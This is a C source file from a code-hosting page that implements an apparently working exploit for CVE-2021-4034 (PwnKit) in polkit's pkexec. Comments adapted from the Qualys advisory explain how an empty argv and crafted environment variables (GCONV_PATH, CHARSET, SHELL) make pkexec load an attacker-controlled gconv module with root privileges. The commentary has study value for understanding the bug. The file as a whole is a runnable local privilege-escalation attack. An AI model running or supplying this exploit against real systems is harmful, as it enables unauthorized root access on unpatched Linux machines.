-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.c
83 lines (64 loc) · 3.65 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <unistd.h>
// based on https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
int main()
{
/*
Unfortunately, if the number of command-line arguments argc is 0 (if the
argument list argv that we pass to execve() is empty, i.e. {NULL}), then
argv[0] is NULL (the argument list's terminator) and:
- at line 534, the integer n is permanently set to 1;
- at line 610, the pointer path is read out-of-bounds from argv[1];
- at line 639, the pointer s is written out-of-bounds to argv[1].
But what exactly is read from and written to this out-of-bounds argv[1]?
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
Clearly (because the argv and envp pointers are contiguous in memory),
if argc is 0, then the out-of-bounds argv[1] is actually envp[0], the
pointer to our first environment variable, "value".
*/
const char *argv[] = {NULL};
/*
if our PATH is "PATH=name=.", and if the directory "name=." exists
and contains an executable file named "value", then a pointer to the
string "name=./value" is written out-of-bounds to envp[0].
In other words, this out-of-bounds write allows us to re-introduce an
"unsecure" environment variable (for example, LD_PRELOAD) into pkexec's
environment; these "unsecure" variables are normally removed (by ld.so)
from the environment of SUID programs before the main() function is
called. We use this to introduce the dangerous "GCONV_PATH" environemnt
variable.
Note that `value` just has to be a valid executable and should exist at
GCONV_PATH=./<value>. We name it libcve:. so that GCONV_PATH uses the
current working directory's gconv-modules, as indicated by the path
separator and `.` which is the current working directory
*/
const char *value = "libcve:.";
const char *GCONVPATH = "PATH=GCONV_PATH=.";
/*
g_printerr() normally prints UTF-8 error messages, but it can print
messages in another charset if the environment variable CHARSET is not
UTF-8 (note: CHARSET is not security sensitive, it is not an "unsecure"
environment variable). To convert messages from UTF-8 to another
charset, g_printerr() calls the glibc's function iconv_open().
This triggers the loading of libcve from gconv-modules.
References:
https://www.gnu.org/software/libc/manual/html_node/glibc-iconv-Implementation.html
https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/
GOTCHAs: don't call your CHARSET NOTUTF-8, otherwise you'll be in a lot of
debugging pain
*/
const char *CHARSET = "CHARSET=ABCDEF";
/*
Trigger the error condition
406 log_message (LOG_CRIT, TRUE,
407 "The value for the SHELL variable was not found the /etc/shells file");
408 g_printerr ("\n"
409 "This incident has been reported.\n");
*/
const char *SHELL = "SHELL=nope";
const char *envp[] = {value, GCONVPATH, CHARSET, SHELL, NULL};
execve("/usr/bin/pkexec", argv, envp);
}